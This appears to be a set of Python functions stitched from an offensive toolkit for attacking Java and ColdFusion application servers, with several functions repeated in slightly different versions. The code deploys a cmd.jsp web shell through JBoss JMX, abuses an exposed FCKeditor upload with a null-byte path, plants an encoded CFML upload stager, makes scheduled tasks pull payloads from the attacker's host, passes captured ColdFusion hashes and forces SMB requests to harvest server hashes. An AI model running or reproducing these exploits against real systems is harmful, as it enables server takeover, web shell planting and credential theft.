def fetchId(base, path, cookie): """ Pretty simple two-step process to fetch the id: a) Set the error handler template to the id file b) Trigger an error c) restore handler """ # set error handler set_template = '/railo-context/admin/web.cfm?action=server.error' data = { 'errType500' : 'Select', 'errorTemplate_Select500' : '/railo-context/templates/error/error.cfm', # default 'errType404' : 'File', 'errorTemplate_File404' : '/railo-context/../id', 'doStatusCode' : 'yes', 'mainAction' : 'update' } response = utility.requests_post(base + set_template, data=data, cookies=cookie) if response.status_code is not 200: utility.Msg("Failed to set error handler (HTTP %d)" % response.status_code, LOG.ERROR) return None # trigger 404 and pull file response = utility.requests_get(base + '/railo-context/admin/xx.cfm') id = response.content # got the ID, restore handler data['errorTemplate_File404'] = '/railo-context/templates/error/error.cfm' response = utility.requests_post(base + set_template, data=data, cookies=cookie) return id
def manage_undeploy(fingerengine, fingerprint): """ This is used to undeploy from JBoss 7.x and 8.x """ context = fingerengine.options.undeploy context = parse_war_path(context) url = 'http://{0}:{1}/management'.format(fingerengine.options.ip, fingerprint.port) undeploy = '{{"operation":"remove", "address":{{"deployment":"{0}"}}}}'\ .format(context) headers = {'Content-Type':"application/json"} response = utility.requests_post(url, headers=headers, data=undeploy) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookie: response = utility.requests_post(url, headers=headers, data=undeploy, cookies=cookie[0], auth=cookie[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg("{0} successfully undeployed".format(context), LOG.SUCCESS) else: utility.Msg("Failed to undeploy", LOG.ERROR)
def create_task(ip, fingerprint, cfm_file, root): """ """ global cookie base = "http://{0}:{1}/railo-context/admin/web.cfm".format( ip, fingerprint.port) params = "?action=services.schedule&action2=create" data = OrderedDict([ ("name", cfm_file), ("url", "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, cfm_file)), ("interval", "once"), ("start_day", "01"), ("start_month", "01"), ("start_year", "2020"), ("start_hour", "00"), ("start_minute", "00"), ("start_second", "00"), ("run", "create") ]) response = utility.requests_post(base + params, data=data, cookies=cookie) if not response.status_code is 200 and cfm_file not in response.content: return False # pull the CSRF for our newly minted task csrf = findall("task=(.*?)\"", response.content) if len(data) > 0: csrf = csrf[0] else: utility.Msg( "Could not pull CSRF token of new task (failed to create?)", LOG.DEBUG) return False # proceed to edit the task; railo loses its mind if every var isnt here params = "?action=services.schedule&action2=edit&task=" + csrf data["port"] = state.external_port data["timeout"] = 50 data["run"] = "update" data["publish"] = "yes" data["file"] = root + '\\' + cfm_file data["_interval"] = "once" data["username"] = "" data["password"] = "" data["proxyport"] = "" data["proxyserver"] = "" data["proxyuser"] = "" data["proxypassword"] = "" data["end_hour"] = "" data["end_minute"] = "" data["end_second"] = "" data["end_day"] = "" data["end_month"] = "" data["end_year"] = "" response = utility.requests_post(base + params, data=data, cookies=cookie) if response.status_code is 200 and cfm_file in response.content: return True return False
def deploy(fingerengine, fingerprint): """ Exploits the DeploymentFileRepository bean to deploy a JSP to the remote server. Note that this requires a JSP, not a packaged or exploded WAR. """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input( "This deployer requires a JSP, default to cmd.jsp? [Y/n]") if "n" in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" utility.Msg("Preparing to deploy {0}...".format(war_name)) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([('action', 'invokeOp'), ('name', 'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5), ('arg0', war_file.replace('.jsp', '.war')), ('arg1', war_name), ('arg2', '.jsp'), ('arg3', open(war_file, 'r').read()), ('arg4', True)]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: utility.Msg( "Successfully deployed '/{0}/{1}'".format(war_name, war_name + '.jsp'), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def run(self, fingerengine, fingerprint): """ This module will invoke jboss:load() with a UNC path to force the server to make a SMB request, thus giving up its encrypted hash with a value we know (1122334455667788). Thanks to @cd1zz for the idea for this """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener..") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC loader...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/jmx-console/HtmlAdaptor' data = self.getData(fingerprint.version) url = base + uri response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin... sleep(1) if response.status_code != 500: utility.Msg("Unexpected response: HTTP %d" % response.status_code, LOG.DEBUG) self._Listen = False
def run7(self, fingerengine, fingerprint): """ Runs our OS query using the HTTP API NOTE: This does not work against 7.0.0 or 7.0.1 because the platform-mbean was not exposed until 7.0.2 and up. See AS7-340 """ url = "http://{0}:{1}/management".format(fingerengine.options.ip, fingerprint.port) info = '{"operation":"read-resource", "include-runtime":"true", "address":'\ '[{"core-service":"platform-mbean"},{"type":"runtime"}], "json.pretty":1}' headers = {"Content-Type":"application/json"} response = utility.requests_post(url, data=info, headers=headers) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=info, cookies=cookies[0], auth=cookies[1], headers=headers) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: result = response.json()['result'] for key in result.keys(): if 'system-properties' in key: for skey in result[key].keys(): utility.Msg('\t%s: %s' % (skey, result[key][skey])) else: utility.Msg('\t%s: %s' % (key, result[key])) elif response.status_code == 500: utility.Msg("Failed to retrieve system properties, checking if " "this is 7.0.0/7.0.1...") info = '{"operation":"read-attribute", "name":"server-state"}' response = utility.requests_post(url, data=info, headers=headers) if response.status_code == 200: utility.Msg("Older version found. This version is unsupported.") else: utility.Msg("Failed to retrieve info (HTTP %d)", response.status_code, LOG.DEBUG) else: utility.Msg("Failed to retrieve info (HTTP %d)" % response.status_code, LOG.DEBUG)
def deploy(fingerengine, fingerprint): """ Exploits the DeploymentFileRepository bean to deploy a JSP to the remote server. Note that this requires a JSP, not a packaged or exploded WAR. """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") if "n" in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5), ('arg0', war_file.replace('.jsp', '.war')), ('arg1', war_name), ('arg2', '.jsp'), ('arg3', open(war_file, 'r').read()), ('arg4', True) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def run(self, fingerengine, fingerprint): """ This module will invoke jboss:load() with a UNC path to force the server to make a SMB request, thus giving up its encrypted hash with a value we know (1122334455667788). Thanks to @cd1zz for the idea for this """ if not utility.check_admin(): utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener..") self._Listen= True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC loader...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/jmx-console/HtmlAdaptor' data = self.getData(fingerprint.version) url = base + uri response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin... sleep(1) if response.status_code != 500: utility.Msg("Unexpected response: HTTP %d" % response.status_code, LOG.DEBUG) self._Listen = False
def undeploy(fingerengine, fingerprint): """ Undeploy a deployed application from the remote WL server """ app = fingerengine.options.undeploy # ensure it ends with war app = app if '.war' in app else app + '.war' base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) if fingerprint.title is WINTERFACES.WLS: base = base.replace("http", "https") uri = "/console/console.portal?AppApplicationUninstallPortletreturnTo="\ "AppAppApp&AppDeploymentsControlPortlethandler="\ "com.bea.console.handles.JMXHandle(\"com.bea:Name=mydomain,Type=Domain\")" data = { "all" : "on", "AppApplicationUninstallPortletchosenContents" : "com.bea.console.handles.AppDeploymentHandle%28%22com.bea"\ "%3AName%3D{0}%2CType%3DAppDeployment%22%29".format(app), "_pageLabel" : "AppApplicationUninstallPage", "_nfpb" : "true", "AppApplicationUninstallPortletfrsc" : None } utility.Msg( "Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint, True) if cookies[0]: data['AppApplicationUninstallPortletfrsc'] = fetchCSRF( base, cookies[0]) try: utility.requests_post(base + uri, data=data, cookies=cookies[0], timeout=1.0) except exceptions.Timeout: utility.Msg("{0} undeployed.".format(app), LOG.SUCCESS) else: utility.Msg("Failed to undeploy {0}".format(app), LOG.ERROR) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
def create_task(ip, fingerprint, cfm_file, root): """ Create the task """ url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\ format(ip, fingerprint.port) upload_stager_xss = "/CFIDE/probe.cfm?name=%3Cb%3E%26%23181%3BSH%3C%2Fb%3E%22%3C%2Fh1%3E%3Ccfif%20isDefined(%22Form.File%22)%3E%3Ccftry%3E%3Ccffile%20action%3D%22upload%22%20destination%3D%22%23Expandpath(%22.%22)%23%22%20filefield%3D%22Form.File%22%20nameconflict%3D%22overwrite%22%3EY!%3Ccfcatch%3EN!%3C%2Fcfcatch%3E%3C%2Fcftry%3E%3C%2Fcfif%3E%3Cform%20method%3DPOST%20enctype%3D%22multipart%2Fform-data%22%3E%3Cinput%20type%3Dfile%20name%3D%22File%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22Upload%22%3E%3C%2Fform%3E%3Cscript%3E" (cookie, csrf) = fetch_csrf(ip, fingerprint, url) data = { "csrftoken" : csrf, "TaskName" : cfm_file, "Start_Date" : "Jan 27, 2014", # shouldnt matter since we force run "ScheduleType" : "Once", "StartTimeOnce" : "9:56 PM", # see above "Operation" : "HTTPRequest", "ScheduledURL" : "http://{0}:{1}/{2}".format(ip, fingerprint.port, upload_stager_xss), "publish" : "1", "publish_file" : root + "\\" + cfm_file, # slash on OS? "adminsubmit" : "Submit" } response = utility.requests_get(url, cookies=cookie) if response.status_code is 200: # create task response = utility.requests_post(url, data=data, cookies=cookie, headers={'Content-Type':'application/x-www-form-urlencoded'}) if response.status_code is 200: return True
def deploy(fingerengine, fingerprint): """ Upload a service via the administrative interface """ cookie = None file_path = abspath(fingerengine.options.deploy) file_name = parse_war_path(file_path, True) dip = fingerengine.options.ip cookie = checkAuth(dip, fingerprint.port, title, fingerprint.version) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}".format(file_name)) base = "http://{0}:{1}".format(dip, fingerprint.port) uri = "/axis2/axis2-admin/upload" payload = {"filename": open(file_path, "rb")} response = utility.requests_post(base + uri, files=payload, cookies=cookie) if response.status_code is 200: if "The following error occurred" in response.content: error = findall("occurred <br/> (.*?)</font>", response.content) utility.Msg("Failed to deploy {0}. Reason: {1}".format(file_name, error[0]), LOG.ERROR) else: utility.Msg( "{0} deployed successfully to /axis2/services/{1}".format(file_name, parse_war_path(file_path)), LOG.SUCCESS, ) else: utility.Msg("Failed to deploy {0} (HTTP {1})".format(file_name, response.status_code), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Upload via the exposed REST API """ if fingerprint.version in ['3.1', '4.0']: state.ssl = True war_file = fingerengine.options.deploy war_path = abspath(war_file) war_name = parse_war_path(war_file) dip = fingerengine.options.ip headers = { "Accept" : "application/json", "X-Requested-By" : "requests" } cookie = checkAuth(dip, fingerprint.port, title) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) base = 'http://{0}:{1}'.format(dip, fingerprint.port) uri = '/management/domain/applications/application' data = { 'id' : open(war_path, 'rb'), 'force' : 'true' } response = utility.requests_post(base + uri, files=data, auth=cookie, headers=headers) if response.status_code is 200: if fingerprint.version in ['3.0']: # GF 3.0 ignores context-root and appends a random character string to # the name. We need to fetch it, then set it as our random_int for # invoke support. There's also no list-wars in here... url = base + '/management/domain/applications/application' response = utility.requests_get(url, auth=cookie, headers=headers) if response.status_code is 200: data = json.loads(response.content) for entry in data[u"Child Resources"]: if war_name in entry: rand = entry.rsplit('/', 1)[1] rand = rand.split(war_name)[1] fingerengine.random_int = str(rand) utility.Msg("Deployed {0} to :8080/{0}{1}".format(war_name, rand), LOG.SUCCESS) else: utility.Msg("Deployed {0} to :8080/{0}".format(war_name), LOG.SUCCESS) else: utility.Msg("Failed to deploy {0} (HTTP {1})".format(war_name, response.status_code), LOG.ERROR)
def runLatter(self, fingerengine, fingerprint, smb_thread): """ """ base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/manager/html/deploy" data = OrderedDict([ ("deployPath", "/asdf"), ("deployConfig", ""), ("deployWar", "file://{0}/asdf.war".format(utility.local_address())), ]) cookies = None nonce = None # probe for auth response = utility.requests_get(base + '/manager/html') if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(base + '/manager/html', cookies=cookies[0], auth=cookies[1]) # get nonce nonce = findall("CSRF_NONCE=(.*?)\"", response.content) if len(nonce) > 0: nonce = nonce[0] # set new jsessionid cookies = (dict_from_cookiejar(response.cookies), cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) return if response.status_code == 200: try: # all setup, now invoke response = utility.requests_post(base + uri + \ '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce, data = data, cookies=cookies[0], auth=cookies[1]) except: # timeout pass while smb_thread.is_alive(): # spin... sleep(1)
def _auth(usr, pswd, url, version): """ Authenticate to the remote ColdFusion server; bit of a pain """ if version in ['7.0', '8.0', '9.0']: salt = _salt(url) hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper() data = {"cfadminPassword" : hsh, "requestedURL" : "/CFIDE/administrator/enter.cfm?", "cfadminUserId" : usr, "salt" : salt, "submit" : "Login" } elif version in ['10.0']: hsh = sha1(pswd).hexdigest().upper() data = {'cfadminPassword' : hsh, 'requestedURL' : '/CFIDE/administrator/enter.cfm?', 'cfadminUserId' : usr, 'submit' : 'Login' } try: res = utility.requests_post(url, data=data) if res.status_code is 200 and len(res.history) > 0: utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) return (dict_from_cookiejar(res.history[0].cookies), None) except Exception, e: utility.Msg("Error authenticating: %s" % e, LOG.ERROR) return (None, None)
def _auth(usr, pswd, ip, fingerprint): """ Authenticate to j_security_check and return the cookie """ try: base = "http://{0}:{1}".format(ip, fingerprint.port) uri = "/console/j_security_check" data = { "j_username" : usr, "j_password" : pswd, "j_character_encoding" : "UTF-8" } if fingerprint.title is WINTERFACES.WLS: base = base.replace("http", "https") response = utility.requests_post(base + uri, data=data) if len(response.history) > 1: cookies = dict_from_cookiejar(response.history[0].cookies) if not cookies: return False else: utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) return (cookies, None) except Exception, e: utility.Msg("Failed to authenticate: %s" % e)
def run_task(ip, fingerprint, cfm_path): """ """ global cookie cfm_file = parse_war_path(cfm_path, True) # kick up server server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) base = "http://{0}:{1}/railo-context/admin/web.cfm".format(ip, fingerprint.port) params = "?action=services.schedule" data = OrderedDict([ ("row_1", "1"), ("name_1", cfm_file), ("mainAction", "execute") ]) response = utility.requests_post(base + params, data=data, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /{0}".format(cfm_file), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ Upload a service via the administrative interface """ cookie = None file_path = abspath(fingerengine.options.deploy) file_name = parse_war_path(file_path, True) dip = fingerengine.options.ip cookie = checkAuth(dip, fingerprint.port, title, fingerprint.version) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}".format(file_name)) base = 'http://{0}:{1}'.format(dip, fingerprint.port) uri = '/axis2/axis2-admin/upload' payload = {'filename' : open(file_path, 'rb')} response = utility.requests_post(base + uri, files=payload, cookies=cookie) if response.status_code is 200: utility.Msg("{0} deployed successfully to /axis2/services/{1}". format(file_name, parse_war_path(file_path)), LOG.SUCCESS) else: utility.Msg("Failed to deploy {0} (HTTP {1})".format(file_name, response.status_code), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Exploits the exposed FCKeditor in CF 8.x """ cfm_path = abspath(fingerengine.options.deploy) cfm_name = parse_war_path(cfm_path, True) dip = fingerengine.options.ip utility.Msg("Checking if FCKEditor is exposed...") url = "http://{0}:{1}".format(dip, fingerprint.port) uri = "/CFIDE/scripts/ajax/FCKeditor/editor/dialog/fck_about.html" response = utility.requests_get(url + uri) if response.status_code == 200 and "FCKeditor" in response.content: utility.Msg("FCKeditor exposed, attempting to write payload...") else: utility.Msg("FCKeditor doesn't seem to be exposed (HTTP %d)" % response.status_code) return try: payload = {"NewFile" : ("asdf.txt", open(cfm_path, "r").read())} except Exception as e: utility.Msg("Error reading file: %s" % e, LOG.ERROR) return uri = "/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm" uri += "?Command=FileUploads&Type=File&CurrentFolder=/{0}%00".format(cfm_name) response = utility.requests_post(url + uri, files=payload) if response.status_code == 200 and "OnUploadCompleted" in response.content: utility.Msg("Deployed. Access /userfiles/file/{0} for payload"\ .format(cfm_name), LOG.SUCCESS) else: utility.Msg("Could not write payload (HTTP %d)" % (response.status_code))
def _auth(usr, pswd, url, version): """ Authenticate to the remote ColdFusion server; bit of a pain """ if version in ['9.0']: salt = _salt(url) hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper() data = {"cfadminPassword" : hsh, "requestedURL" : "/CFIDE/administrator/enter.cfm?", "cfadminUserId" : usr, "salt" : salt, "submit" : "Login" } elif version in ['10.0']: hsh = sha1(pswd).hexdigest().upper() data = {'cfadminPassword' : hsh, 'requestedURL' : '/CFIDE/administrator/enter.cfm?', 'cfadminUserId' : usr, 'submit' : 'Login' } try: res = utility.requests_post(url, data=data) if res.status_code is 200 and len(res.history) > 0: utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) return (dict_from_cookiejar(res.history[0].cookies), None) except Exception, e: utility.Msg("Error authenticating: %s" % e, LOG.ERROR) return (None, None)
def attemptPTH(url, usr_auth): """ In vulnerable instances of CF7-9, you can use --cf-hash to obtain the remote server's hash and pass it. """ utility.Msg("Attempting to pass the hash..", LOG.DEBUG) usr = None pwhsh = None if ':' in usr_auth: (usr, pwhsh) = usr_auth.split(':') else: (usr, pwhsh) = "admin", usr_auth salt = _salt(url) hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper() data = {"cfadminPassword" : hsh, "requestedURL" : "/CFIDE/administrator/enter.cfm?", "cfadminUserId" : usr, "salt" : salt, "submit" : "Login" } try: res = utility.requests_post(url, data=data) if res.status_code is 200 and len(res.history) > 0: utility.Msg("Sucessfully passed the hash", LOG.DEBUG) return (dict_from_cookiejar(res.history[0].cookies), None) except Exception, e: utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
def make_request(method,host,port,ssl,url,data,cookies=None,allow_redirects=True): response = None if port == None and ssl: port = 443 if port == None and not ssl: port = 80 try: url = "{0}://{1}:{2}{3}".format("https" if ssl else "http", host, port,url) if method == 'GET': response = utility.requests_get(url,cookies=cookies) elif method == 'BASIC': response = utility.requests_get(url,cookies=cookies,auth=(data['username'],data['password'])) elif method == 'POST': response = utility.requests_post(url,data,cookies=cookies,allow_redirects=allow_redirects) elif method == 'HEAD': response = utility.requests_head(url,cookies=cookies) elif method == 'PUT': response = utility.requests_put(url,data,cookies=cookies) else: response = utility.requests_other(method,url,cookies=cookies) return response except exceptions.Timeout: utility.Msg("Timeout to {0}:{1}".format(host,port), 'DEBUG') except exceptions.ConnectionError, e: utility.Msg("Connection error to {0} ({1})".format(host,port, e),'DEBUG')
def attemptPTH(url, usr_auth): """ In vulnerable instances of CF7-9, you can use --cf-hash to obtain the remote server's hash and pass it. """ utility.Msg("Attempting to pass the hash..", LOG.DEBUG) usr = None pwhsh = None if ':' in usr_auth: (usr, pwhsh) = usr_auth.split(':') else: (usr, pwhsh) = "admin", usr_auth salt = _salt(url) hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper() data = { "cfadminPassword": hsh, "requestedURL": "/CFIDE/administrator/enter.cfm?", "cfadminUserId": usr, "salt": salt, "submit": "Login" } try: res = utility.requests_post(url, data=data) if res.status_code is 200 and len(res.history) > 0: utility.Msg("Sucessfully passed the hash", LOG.DEBUG) return (dict_from_cookiejar(res.history[0].cookies), None) except Exception, e: utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
def create_task(ip, fingerprint, cfm_file, root): """ Create the task """ url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\ format(ip, fingerprint.port) (cookie, csrf) = fetch_csrf(ip, fingerprint, url) data = { "csrftoken" : csrf, "TaskName" : cfm_file, "Start_Date" : "Jan 27, 2014", # shouldnt matter since we force run "ScheduleType" : "Once", "StartTimeOnce" : "9:56 PM", # see above "Operation" : "HTTPRequest", "ScheduledURL" : "http://{0}:8000/{1}".format(utility.local_address(), cfm_file), "publish" : "1", "publish_file" : root + "\\" + cfm_file, # slash on OS? "adminsubmit" : "Submit" } if fingerprint.version in ["10.0"]: data['publish_overwrite'] = 'on' response = utility.requests_get(url, cookies=cookie) if response.status_code is 200: # create task response = utility.requests_post(url, data=data, cookies=cookie, headers={'Content-Type':'application/x-www-form-urlencoded'}) if response.status_code is 200: return True
def run(self, fingerengine, fingerprint): """ Same as JBoss/Tomcat """ if not utility.check_admin(): utility.Msg("Root privs required for this module.", LOG.ERROR) return base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/console/console.portal?AppApplicationInstallPortlet_actionOverride'\ '=/com/bea/console/actions/app/install/appSelected' data = { "AppApplicationInstallPortletselectedAppPath": "\\\\{0}\\fdas.war".format(utility.local_address()), "AppApplicationInstallPortletfrsc": None } if fingerprint.title is WINTERFACES.WLS: base = base.replace("http", "https") utility.Msg( "Host %s:%s requires auth, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint) if cookies[0]: utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() # fetch our CSRF data['AppApplicationInstallPortletfrsc'] = self.fetchCSRF( base, cookies[0]) utility.Msg("Invoking UNC loader...") try: _ = utility.requests_post(base + uri, data=data, cookies=cookies[0], timeout=1.0) except: # we dont care about the response here pass else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin sleep(1) self._Listen = False
def deploy(fingerengine, fingerprint): """ This deployer is slightly different than manager_deploy in that it only requires the manager-gui role. This requires us to deploy like one would via the web interface. """ base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/manager/html/upload' war_file = fingerengine.options.deploy war_path = parse_war_path(war_file) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) if fingerprint.version in ['6.0', '7.0', '8.0']: # deploying via the gui requires a CSRF token (csrf, c) = fetchCSRF(base, cookies) if not csrf: return else: # set CSRF and refresh session id uri += '?org.apache.catalina.filters.CSRF_NONCE={0}' uri = uri.format(csrf) cookies = (c, cookies[1]) # read in payload try: tag = 'deployWar' if fingerprint.version in ['4.0', '4.1']: tag = 'installWar' files = {tag: (war_path + '.war', open(war_file, 'rb'))} except Exception as e: utility.Msg(e, LOG.ERROR) return # deploy response = utility.requests_post(base + uri, files=files, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200 and "OK" in response.content: utility.Msg("Deployed {0} to /{1}".format(war_file, war_path), LOG.SUCCESS) elif 'Application already exists' in response.content: utility.Msg("Application {0} is already deployed".format(war_file), LOG.ERROR) elif response.status_code is 403: utility.Msg("This account does not have permissions to remotely deploy. Try"\ " using manager_deploy", LOG.ERROR) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def jmx_undeploy(fingerengine, fingerprint): """ """ context = fingerengine.options.undeploy # ensure leading / is stripped context = context if not '/' in context else context[1:] # check for trailing war context = context if '.war' in context else context + '.war' url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) wid = fetchId(context, url) if not wid: utility.Msg("Could not find ID for WAR {0}".format(context), LOG.ERROR) return data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.web.deployment:war={0},id={1}'.format(context, wid)), ('methodIndex', 0) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg( "{0} undeployed. WAR may still show under list".format(context))
def deploy(fingerengine, fingerprint): """ Upload via the exposed REST API """ if fingerprint.version in ['3.1', '4.0']: state.ssl = True war_file = fingerengine.options.deploy war_path = abspath(war_file) war_name = parse_war_path(war_file) dip = fingerengine.options.ip headers = {"Accept": "application/json", "X-Requested-By": "requests"} cookie = checkAuth(dip, fingerprint.port, title) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) base = 'http://{0}:{1}'.format(dip, fingerprint.port) uri = '/management/domain/applications/application' data = {'id': open(war_path, 'rb'), 'force': 'true'} response = utility.requests_post(base + uri, files=data, auth=cookie, headers=headers) if response.status_code is 200: if fingerprint.version in ['3.0']: # GF 3.0 ignores context-root and appends a random character string to # the name. We need to fetch it, then set it as our random_int for # invoke support. There's also no list-wars in here... url = base + '/management/domain/applications/application' response = utility.requests_get(url, auth=cookie, headers=headers) if response.status_code is 200: data = json.loads(response.content) for entry in data[u"Child Resources"]: if war_name in entry: rand = entry.rsplit('/', 1)[1] rand = rand.split(war_name)[1] fingerengine.random_int = str(rand) utility.Msg( "Deployed {0} to :8080/{0}{1}".format(war_name, rand), LOG.SUCCESS) else: utility.Msg("Deployed {0} to :8080/{0}".format(war_name), LOG.SUCCESS) else: utility.Msg( "Failed to deploy {0} (HTTP {1})".format(war_name, response.status_code), LOG.ERROR)
